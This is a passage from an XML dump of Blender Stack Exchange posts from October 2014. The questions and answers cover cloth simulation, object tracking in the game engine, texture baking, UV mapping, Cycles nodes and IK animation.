Title="Create a stretchy line between two objects?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;cloth-simulation&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18152" PostTypeId="2" ParentId="18151" CreationDate="2014-10-24T01:37:30.603" Score="3" Body="&lt;p&gt;I couldn't get it to work with a curve as suggested by &lt;a href=&quot;https://blender.stackexchange.com/questions/2487/rig-a-rope-spanning-two-objects#comment4195_2488&quot;&gt;Greg Zaal&lt;/a&gt;, as you said the curve doesn't seem to want to stick to multiple hooks at once..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it works fine for me using a mesh as explained in my &lt;a href=&quot;https://blender.stackexchange.com/a/2488/599&quot;&gt;previous answer&lt;/a&gt;, and it still runs realtime at 24 fps for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/95Chq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32320&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-24T01:37:30.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18153" PostTypeId="2" ParentId="8803" CreationDate="2014-10-24T04:05:57.160" Score="2" Body="&lt;p&gt;You can only track one object at any given time, so you'll need to define a set of priorities by which a single target can be selected from a group of valid candidates (objects with the relevant property).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you wanted to track the closest object with the relevant property, you could do it with this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# track.py&#xA;&#xA;def target_prop(cont):&#xA;    self = cont.owner&#xA;    objects = self.scene.objects&#xA;&#xA;    tracked = [o for o in objects if self[&quot;target_prop&quot;] in o]&#xA;    tracked.sort(key=lambda o: self.getDistanceTo(o))&#xA;&#xA;    target, *_ = tracked&#xA;&#xA;    act_track, *_ = cont.actuators&#xA;    act_track.object = target&#xA;&#xA;    for act in cont.actuators:&#xA;        cont.activate(act)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://www.dropbox.com/s/r7pmpc4v5tnjl9q/track_to_prop.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;track_to_prop.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, you can specify the target property via a property on the tracking object (target_prop in this case). Also, you can set the always sensor to &quot;true level triggering&quot; (aka: &quot;pulse mode&quot;), to constantly re-evaluate the closest target, if that's required.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-24T04:05:57.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18154" PostTypeId="1" CreationDate="2014-10-24T06:34:44.437" Score="1" ViewCount="264" Body="&lt;p&gt;I wanted to make my cloth and rig smaller . &#xA;Is there a way to change the scale in the bake?&#xA;I tried baking it after i scale the shirt down but the shirt suddenly go into a weird shape.&#xA;Why does the cloth work well when my collision objects is big but went into a weird shape when it was scaled down? Is it the settings?&#xA;Here is the file &#xA;&lt;a href=&quot;http://www.mediafire.com/download/ytao6s7wqo3vpgo/robin+ninja+run.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/ytao6s7wqo3vpgo/robin+ninja+run.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2014-10-24T06:34:44.437" Title="controling the size of the cloth" Tags="&lt;rigging&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18155" PostTypeId="2" ParentId="16421" CreationDate="2014-10-24T07:29:16.853" Score="1" Body="&lt;p&gt;Add a curve and check &lt;em&gt;Path animation&lt;/em&gt; and set the evaluation time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LGoF8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Follow_Path&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Follow Path Constrained&lt;/em&gt;&lt;/a&gt; after that you character should look like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5b6n7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8CnCj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Tracking/Locked_Track&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Locked Track&lt;/em&gt;&lt;/a&gt; influence you can control the vertical orientation, I used torso because for some reason I wasn't able to select the root bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7ZYw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-24T07:29:16.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18156" PostTypeId="1" AcceptedAnswerId="18169" CreationDate="2014-10-24T09:07:54.040" Score="3" ViewCount="3471" Body="&lt;p&gt;I am having a very strange problem when I bake an Ambient Occlusion!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is very very visible, When I click &lt;strong&gt;Bake&lt;/strong&gt;, it bakes everything and then in the last few seconds it does this weird &quot;vortex&quot; kind of effect. It always starts from the bottom left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, any UV unwrapping doesn't work either (UV unwrap, Smart uv project etc. all don't work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Jqpi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-10-24T19:29:21.823" LastActivityDate="2014-10-30T07:40:50.893" Title="Baking ambient occlusion gives odd black vortex output?" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-10-25T07:26:24.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="18157" PostTypeId="1" CreationDate="2014-10-24T09:20:55.493" Score="1" ViewCount="787" Body="&lt;p&gt;Hi there for a while now we are building stuff on sketchup (cause we love the simplicity of the tool :o ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we still use blender for exportation purpose on THREE.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the actual workflow is to export in .dae with SketchUp8 and then import in blender, group all the elements with ctrl+J (it avoids material duplication)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes we also have to slightly rename the materials (cause they are renamed MATERIAL_NAME.001, MATERIAL_NAME.002 and we don't want this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we export the object as is in .js format with the THREE.js exporter plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it's a pretty tedious task. Is there an easy way to automate this through the CLI ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7664" LastEditorUserId="29" LastEditDate="2014-12-22T11:56:16.377" LastActivityDate="2015-03-22T12:50:02.210" Title="Automatic import, group and export with command-line (CLI)" Tags="&lt;export&gt;&lt;command-line&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18158" PostTypeId="1" AcceptedAnswerId="18159" CreationDate="2014-10-24T09:33:31.543" Score="3" ViewCount="2026" Body="&lt;p&gt;how can I sharpen this with a proximity loops with out affecting the shape of the cylinder?&lt;img src=&quot;https://i.stack.imgur.com/gGSy7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="12" LastEditDate="2015-01-14T20:28:12.883" LastActivityDate="2015-01-14T20:28:12.883" Title="Add proximity loops to sharp edge without affecting mesh shape" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18159" PostTypeId="2" ParentId="18158" CreationDate="2014-10-24T11:37:15.373" Score="4" Body="&lt;p&gt;You could select those edges and bevel them using the interactive bevel tool (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) and move your mouse to adjust the level. This will create an additional set of faces that you also ring cut to get an even sharper edge without affecting the shape of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that adding additional ring cuts to this face will create a pinch in the corners due to the clump of vertices on the side so you might have to use it sparingly depending on any other edges you selected.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCFLF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-10-24T11:44:30.307" LastActivityDate="2014-10-24T11:44:30.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18160" PostTypeId="1" CreationDate="2014-10-24T11:48:09.877" Score="1" ViewCount="263" Body="&lt;p&gt;How to reproduce:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open blender 2.72, with default cube scene&lt;/li&gt;&#xA;&lt;li&gt;'n' to open properties panel and switch rotation to Quaternion wxyz&lt;/li&gt;&#xA;&lt;li&gt;press 'i' , Rotation - to save rotation at keyframe 1&lt;/li&gt;&#xA;&lt;li&gt;move to keyframe 30 (right arrow key)&lt;/li&gt;&#xA;&lt;li&gt;rotate about x axis 90 ( 'r', 'x', 90, enter )&lt;/li&gt;&#xA;&lt;li&gt;'i' to save rotation key&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;export .x file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;edit .x file and see rotations, all keys are the same ? thats a problem!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone atleast confirm this?&lt;/p&gt;&#xA;" OwnerUserId="7580" LastActivityDate="2014-10-24T11:48:09.877" Title="directX exporter not exporting animation" Tags="&lt;animation&gt;&lt;export&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-10-24T19:23:18.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="18161" PostTypeId="2" ParentId="18157" CreationDate="2014-10-24T15:32:35.443" Score="1" Body="&lt;p&gt;You could prepare a Blender file with a text block that contains the python script with all the command you need (import, convert materials name, export...).&#xA;Then you can type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your/blender/path/blender -b blendertemplate.blend --python-text pythontextname&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="7668" LastEditDate="2014-10-24T16:05:33.623" LastActivityDate="2014-10-24T16:05:33.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18162" PostTypeId="2" ParentId="18129" CreationDate="2014-10-24T16:05:10.083" Score="7" Body="&lt;p&gt;Cycles is node based, meaning the material is comprised of nodes. Unlike the blender internal where you go to a different tab and add textures, in cycles everything can be done from with in the node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure you are using cycles. To use Cycles, it must be set as the active render engine in the top header. &#xA;Open the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;node editor&lt;/a&gt;, change the node type to &lt;em&gt;Shader Nodes&lt;/em&gt; You should now see something like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4EOw7.png&quot; alt=&quot;node editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can drag your textures from any file browser in to the node editor. That will create a new &lt;em&gt;Image Texture&lt;/em&gt; node for each image.&lt;br&gt;&#xA;Here is the whole node tree.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GA4vk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GA4vk.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The color or diffuse map would go straight in to the &lt;em&gt;Color&lt;/em&gt; socket of the &lt;em&gt;Diffuse BSDF&lt;/em&gt; node, but because we are adding a AO map, cavity, or any black and white map to effect the color, that gets multiplied with the diffuse map then plugged in to the &lt;em&gt;Diffuse BSDF&lt;/em&gt;.&lt;br&gt;&#xA;The normal map gets plugged in to a &lt;em&gt;Normal Map&lt;/em&gt; node, witch goes it to the &lt;em&gt;Normal&lt;/em&gt; socket on the &lt;em&gt;Diffuse BSDF&lt;/em&gt;.&lt;br&gt;&#xA;The bump map is plugged in to a &lt;em&gt;Bump&lt;/em&gt; node, which is connected between the normal map and the &lt;em&gt;Diffuse BSDF&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-22T18:06:10.950" LastActivityDate="2014-12-22T18:06:10.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18163" PostTypeId="1" CreationDate="2014-10-24T17:18:31.123" Score="3" ViewCount="959" Body="&lt;p&gt;I'm a beginner to all this video creation thing and started reading the &quot;Introduction&quot; and &quot;Starting&quot; of the Doc. 2.6 Manual. At the end of &quot;Starting&quot; there is &quot;Your First Animation&quot; where I tried &quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Your_First_Animation/1.A_static_Gingerbread_Man&quot; rel=&quot;nofollow&quot;&gt;1/2: A static Gingerbread Man&lt;/a&gt;&quot;. There I had the following problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;After moving the camera and lamp to the 10th layer the cube was &lt;em&gt;not&lt;/em&gt; selected anymore. I selected it by &lt;em&gt;Select&lt;/em&gt; -&gt; &lt;em&gt;Select All by Layer&lt;/em&gt;. Is this correct?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After using &lt;kbd&gt;Numpad 1&lt;/kbd&gt; I hit &lt;kbd&gt;Numpad 5&lt;/kbd&gt; but the front view still remained and did &lt;em&gt;not&lt;/em&gt; change to the orthogonal view. By the way, why should I use &lt;kbd&gt;Numpad 1&lt;/kbd&gt; during this example?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By pressing &lt;kbd&gt;Tab&lt;/kbd&gt; I could &lt;em&gt;not&lt;/em&gt; enter into Edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Could above problems result from my German keyboard and using Windows 8.1?&lt;/p&gt;&#xA;" OwnerUserId="7669" LastEditorUserId="599" LastEditDate="2014-10-26T18:24:17.657" LastActivityDate="2014-10-26T18:24:17.657" Title="Cannot enter edit mode or change to orthographic view?" Tags="&lt;3d-view&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18166" PostTypeId="2" ParentId="18163" CreationDate="2014-10-24T19:20:52.927" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;No, I don't think so. What matters is that the cube is &lt;em&gt;Active&lt;/em&gt; (usually the last selected, with a yellow outline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender there are &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;three selection states&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Unselected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Selected&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Active&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There can only be one active object at a time. The active object defines which object will go into edit mode when you press &lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;, which object's options are shown in the properties panel, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting an object with &lt;kbd&gt;A&lt;/kbd&gt;, &lt;em&gt;select by layer&lt;/em&gt;, etc. will not change the active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the cube active, click on it with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;That's odd.. Are you sure the mouse cursor was over the 3D view?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I suspect this is because your active object was either the camera or the lamp, not the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell which layer the active object is on by looking at the layers in &lt;em&gt;3D view &gt; Header&lt;/em&gt;. The orange dot represents the active object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIolC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-24T19:27:37.833" LastActivityDate="2014-10-24T19:27:37.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18167" PostTypeId="2" ParentId="6914" CreationDate="2014-10-24T21:30:12.073" Score="1" Body="&lt;p&gt;One simple, however not ideal, is to save the final render to an external file; then loading it up and applying the composite to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using a multilayer OpenEXR file; these however take up quite a lot of disk space.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-24T21:30:12.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18168" PostTypeId="2" ParentId="14211" CreationDate="2014-10-24T21:49:55.273" Score="4" Body="&lt;p&gt;One solution is to add a material index to your fire's material, and then, on the compositor,  you can take the &lt;em&gt;Emission&lt;/em&gt; pass, and multiply it with the &lt;em&gt;Object Index&lt;/em&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PiVtS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;em&gt;Properties&lt;/em&gt; panel, then switch to the &lt;em&gt;Materials&lt;/em&gt; tab, and under the &lt;em&gt;Settings&lt;/em&gt; subsection, change the material index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzmr1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, still on the Properties panel, switch to the &lt;em&gt;Render Layers&lt;/em&gt; tab, go to the &lt;em&gt;Passes&lt;/em&gt; subsection and activate &lt;em&gt;Material Index&lt;/em&gt; and &lt;em&gt;Emission&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HmsLU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the compositor, multiply the output of a &lt;em&gt;IDMask&lt;/em&gt; set to 1 and the &lt;em&gt;Emission&lt;/em&gt; pass.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="599" LastEditDate="2014-10-24T23:59:28.043" LastActivityDate="2014-10-24T23:59:28.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18169" PostTypeId="2" ParentId="18156" CreationDate="2014-10-25T00:33:48.733" Score="3" Body="&lt;p&gt;For some reason this seems to be caused by the wire material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove it by pressing the &lt;strong&gt;-&lt;/strong&gt; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pl0f5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A8N9A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks like a bug to me. &lt;s&gt;You might want to consider reporting it to the &lt;a href=&quot;https://developer.blender.org/maniphest/task/create/?project=2&amp;amp;type=Bug&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracker&lt;/a&gt;.&lt;/s&gt; I've since reported it &lt;a href=&quot;https://developer.blender.org/T42443&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also note that there are some internal faces and non-manifold geometry in your model, which can also result in some artifacts. Try pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; in edit mode to select problem spots.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-30T07:40:50.893" LastActivityDate="2014-10-30T07:40:50.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18170" PostTypeId="2" ParentId="16070" CreationDate="2014-10-25T03:16:51.267" Score="2" Body="&lt;p&gt;To start with, the tearing that you see is happening because the seams are not all marked properly using &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;e&lt;/kbd&gt; -&gt; Mark Seam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UV coordinates for the posted .blend look like they were done with UV Mapping-&gt; Project From View which I feel is a pretty good place to start with something like this.  It does still require a lot of corrections for the faces that are parallel to the view since they are all 2-dimensional. Those faces are essentially Edges so far as the UV Texture is concerned, they will have zero texture resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few places that need fixing from what I can see.  I've circled a few parts that stand out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nPwkg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, to deal with the overlapping trigger pieces you can select the faces and move them.  They can also be shrunk down a bit to fit in the area nearby to help with packing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwe3c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next image shows many of the faces that have to be re-projected using another method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/su8ys.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The seem which runs down the middle will help with mirroring but that may not be the best way to go here since mirroring something that thin will not only add more seems(which can show as artifacts) but the two thin bands that make of the rifle perimeter will have to be separated in the UV's in order to allow some room for padding.  This extra space will use up texture resolution as well so there is not much gain here to mirroring those parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the center line, I would just remove that entirely since now the geometry count should be about 20% less when exported.  With all the center edges selected, you can use the keyboard shortcuts 'x' then 'g' for &lt;em&gt;Delete-&gt;Edge Loops&lt;/em&gt;&lt;br&gt;&#xA;*Note: so long as you do not do this to UV Island boundaries the UV's should be preserved and any textures that have already been baked should still be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CicNk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select all of the perimeter and use &lt;em&gt;UV Mapping-&gt;Smart UV Project&lt;/em&gt; to quickly map them so they can be assessed quickly and also you can use &lt;em&gt;UVs-&gt;Seams From Islands&lt;/em&gt; to quickly lock in the Islands.  Sometimes it's easier to remove a few extra seams rather than to manually select them all in the 3D View for seam tagging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hNPXf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now seems(pun) like a good time to add a texture that can help act as a guide and reference for the progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBR64.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following 3D Viewport settings help a lot when baking.&lt;br&gt;&#xA;Note: this is not a Material view setup, the texture you see here is the texture that will be baked to.  If you export this model, you will not see this texture unless you first setup a Material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wVKP1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next we see an obvious error, often when things go this wrong you will find an nGon adjacent to the problem area which I think is what's going on with the main point of your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BYXE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now at this point we can consider the removal of the main center a mistake since it's removal was pre-mature; we have to work on both sides of the model to clear up the remaining UV Coord zero-area faces.  We'll just call this a lesson learned.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the overlapping vertices selected, you can use &lt;kbd&gt;s&lt;/kbd&gt; with your cursor over the UV Image Editor to scale them and give the faces in that area some space in the UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3OkOE.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xxUiA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few edges that overlap at nGon transistions which should be cleaned up.  The baked texture will have errors at the areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bIVoD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is an animation that shows a quick way to deal will all those little circle insets.&#xA;With them all selected, you can scale them all as a group and then move them into place one at a time using 'g' then circle select 'c' is used to remove the newly places areas from the selection, then grab again, then deselect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkUZQ.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-01T05:09:53.430" LastActivityDate="2014-11-01T05:09:53.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18172" PostTypeId="2" ParentId="6023" CreationDate="2014-10-25T06:42:34.440" Score="0" Body="&lt;p&gt;I used blender once to create so called Venetian blinds with an array modifier. To keep rotation of the array objects around there individual origin, I rigged the object to use with the array modifier to a single bone in the center of the object. When you rotate this bone, each object created by the array modifier will rotate around it's own center.&lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2014-10-25T06:42:34.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18174" PostTypeId="1" AcceptedAnswerId="18197" CreationDate="2014-10-25T12:06:05.747" Score="1" ViewCount="1869" Body="&lt;p&gt;I have a rigged human character which I started to animate recently. I enabled Inverse Kinematics for the feet (chained to the root bone) and targeted them to two empties on the floor, so they would stay there. This way I can easily create animations in standing pose, for example a fight stance animation or punches (for a fighting game). &lt;br/&gt;&lt;br/&gt;&#xA;I made several keyframes for these animations for every bone (even the IK bones targeted to the floor), expecting, I would no longer need the IK after that, but if I disable those, the legs are no longer connected to the floor if I play the animation.&lt;br/&gt;&lt;br/&gt;&#xA;So the problem is, I would like to record an animation while the feet are targeted to the floor empties, then disable targeting. The recorded animations should stay the same, because I want to create some kicks after that (so the feet would not be on the floor).&lt;br/&gt;&lt;br/&gt;&#xA;(By the way, I have tried setting keyframes with LocRot, and also Visual LocRot, which seems to be the same)&lt;/p&gt;&#xA;" OwnerUserId="2531" LastActivityDate="2014-10-25T20:30:23.587" Title="How to keyframe IK bones?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
